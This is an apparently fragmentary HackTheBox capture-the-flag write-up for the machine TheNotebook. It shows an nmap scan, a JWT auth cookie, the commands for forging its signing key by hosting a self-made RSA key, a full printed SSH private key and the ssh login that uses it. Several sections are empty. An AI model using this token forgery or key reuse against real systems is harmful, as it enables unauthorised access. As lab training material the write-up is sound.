HackTheBox — TheNotebook

Nmap Scan

Nmap scan report for 10.10.10.230
Host is up (0.11s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.20 seconds

Enumeration

Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6ImVtYm8iLCJlbWFpbCI6ImVtYm9AZW1iby5jb20iLCJhZG1pbl9jYXAiOjB9.DRA8EpL1uaL7OtGuN-mBu3vibT-vJ0UoImc48pwmhzd5IhWUScg1rcj0r2jCjhmyNORJ4Ec0kOpGOoEFi94sVAtbzbd5AYWfO5nHWr87UU88sfjZrGJWtldX1VVTcQ_Yg9nHZwkD4YkbiQZXKaqkhe3n0Kl7hUQ5QV7Jyfn2N6pTEK27dN46HcgaaL8H-wowfsKp0As-HcTuFf6Y2TjfhwYbye7pdzcDXa9v9rzMAXgh4t4P7kyd2JaGP3SRcCKCpYicdZ_awvSdIrH7bf68ljZW0s0-myNiFEI2yjRqYhPBs0YUn5U_Fp932rD-T7QMssUK0hcT3wd-Oqv7JJXltHh6VVNanrWDXZVb2HJaFal-zpIx5ORBRfAqErl9aGesUP-vD0cHuKGErUDjlC_mwgh8RPlOq1hMqBW0UdPjePpB6m_xJGv07gwkVn6WrmPvK_vspuU7qrsDan7lhTgKLb7Jk7yEHzFsryYQH1Xsuposkm3DsvM0rmd11mXXgHUqPQVpkfkcAQvpjb242qoQNK0-nfs1qfiU1AOfQBm6EdBubbbY8HGRqbcJsXk2n1BmGWhrB2EKis_F-fSZM6oKYuOtchmSEbpsQBx09wPeQyMtFdfOM6Z5SKIFaKZ1anxqEocXDobB_W8CaheJZ-wMVXm9iM9YWhkNKxqSChSgOVk; uuid=08bc057c-18c8-4661-b8f8-d3227d0fc4a7
openssl genrsa -out privKey.key 2048
python3 -m http.server

Initial Foothold

Lateral Movement

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAyqucvz6P/EEQbdf8cA44GkEjCc3QnAyssED3qq9Pz1LxEN04
HbhhDfFxK+EDWK4ykk0g5MvBQckcxAs31mNnu+UClYLMb4YXGvriwCrtrHo/ulwT
rLymqVzxjEbLUkIgjZNW49ABwi2pDfzoXnij9JK8s3ijIo+w/0RqHzAfgS3Y7t+b
HVo4kvIHT0IXveAivxez3UpiulFkaQ4zk37rfHO3wuTWsyZ0vmL7gr3fQRBndrUD
v4k2zwetxYNt0hjdLDyA+KGWFFeW7ey9ynrMKW2ic2vBucEAUUe+mb0EazO2inhX
rTAQEgTrbO7jNoZEpf4MDRt7DTQ7dRz+k8HG4wIDAQABAoIBAQDIa0b51Ht84DbH
+UQY5+bRB8MHifGWr+4B6m1A7FcHViUwISPCODg6Gp5o3v55LuKxzPYPa/M0BBaf
Q9y29Nx7ce/JPGzAiKDGvH2JvaoF22qz9yQ5uOEzMMdpigS81snsV10gse1bQd4h
CA4ehjzUultDO7RPlDtbZCNxrhwpmBMjCjQna0R2TqPjEs4b7DT1Grs9O7d7pyNM
Um/rxjBx7AcbP+P7LBqLrnk7kCXeZXbi15Lc9uDUS2c3INeRPmbFl5d7OdlTbXce
YwHVJckFXyeVP6Qziu3yA3p6d+fhFCzWU3uzUKBL0GeJSARxISsvVRzXlHRBGU9V
AuyJ2O4JAoGBAO67RmkGsIAIww/DJ7fFRRK91dvQdeaFSmA7Xf5rhWFymZ/spj2/
rWuuxIS2AXp6pmk36GEpUN1Ea+jvkw/NaMPfGpIl50dO60I0B4FtJbood2gApfG9
0uPb7a+Yzbj10D3U6AnDi0tRtFwnnyfRevS+KEFVXHTLPTPGjRRQ41OdAoGBANlU
kn7eFJ04BYmzcWbupXaped7QEfshGMu34/HWl0/ejKXgVkLsGgSB5v3aOlP6KqEE
vk4wAFKj1i40pEAp0ZNawD5TsDSHoAsIxRnjRM+pZ2bjku0GNzCAU82/rJSnRA+X
i7zrFYhfaKldu4fNYgHKgDBx8X/DeD0vLellpLx/AoGBANoh0CIi9J7oYqNCZEYs
QALx5jilbzUk0WLAnA/eWs9BkVFpQDTnsSPVWscQLqWk7+zwIqq0v6iN3jPGxA8K
VxGyB2tGqt6jI58oPztpabGBTCmBfh82nT2KNNHfwwmfwZjdsu9I9zvo+e3CXlBZ
vglmvw2DW6l0EwX+A+ZuSmiZAoGAb2mgtDMrRDHc/Oul3gvHfV6CYIwwO5qK+Jyr
2WWWKla/qaWo8yPQbrEddtOyBS0BP4yL9s86yyK8gPFxpocJrk3esdT7RuKkVCPJ
z2yn8QE6Rg+yWZpPHqkazSZO1eItzQR2mYG2hzPKFtE7evH6JUrnjm5LTKEreco+
8iCuZAcCgYEA1fhcJzNwEUb2EOV/AI23rYpViF6SiDTfJrtV6ZCLTuKKhdvuqkKr
JjwmBxv0VN6MDmJ4OhYo1ZR6WiTMYq6kFGCmSCATPl4wbGmwb0ZHb0WBSbj5ErQ+
Uh6he5GM5rTstMjtGN+OQ0Z8UZ6c0HBM0ulkBT9IUIUEdLFntA4oAVQ=
-----END RSA PRIVATE KEY-----
chmod 600 id_rsa
ssh -i id_rsa noah@10.10.10.230

Getting root

How do i run it?

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I am a Penetration Testing Enthusiast with computer science background, also interested in CTFs and python scripting.

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I am a Penetration Testing Enthusiast with computer science background, also interested in CTFs and python scripting.